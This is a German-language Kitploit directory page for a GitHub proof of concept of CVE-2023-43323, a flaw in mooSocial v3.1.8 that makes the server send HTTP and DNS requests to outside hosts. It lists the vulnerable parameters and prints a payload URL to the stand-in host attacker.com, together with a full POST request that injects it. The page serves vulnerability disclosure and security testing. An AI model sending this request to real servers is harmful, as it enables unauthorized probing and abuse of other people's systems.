Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-43323 — mooSocial v3.1.8 ist anfällig für externe Dienstinteraktion bei der Post-Funktion. | Kitploit
Tools/GitHubGitHub/ahrixia/cve-2023-43323
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungDNS-Analyse
GitHubahrixia/cve-2023-43323

CVE-2023-43323

mooSocial v3.1.8 ist anfällig für externe Dienstinteraktion bei der Post-Funktion.

Repository anzeigen
12vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

mooSocial: Externe HTTP- und DNS-Dienstinteraktion (CVE-2023-43323)

mooSocial v3.1.8 ist anfällig für externe Dienstinteraktion bei der Post-Funktion. Bei Ausführung sendet der Server eine HTTP- und DNS-Anfrage an einen externen Server.

Verwundbare Parameter: messageText, data[wall_photo], data[userShareVideo] und data[userShareLink]

Exploit - Proof of Concept (POC)

Externe HTTP- und DNS-Dienstinteraktion

root@kitploit:~
Payload : http://attacker.com/?null=

POST Request on /moosocial/activities/ajax_share (POST REQUEST DATA ONLY):

root@kitploit:~
[data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http%3A%2F%2Fattacker.com%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]

Bild

Tool herunterladen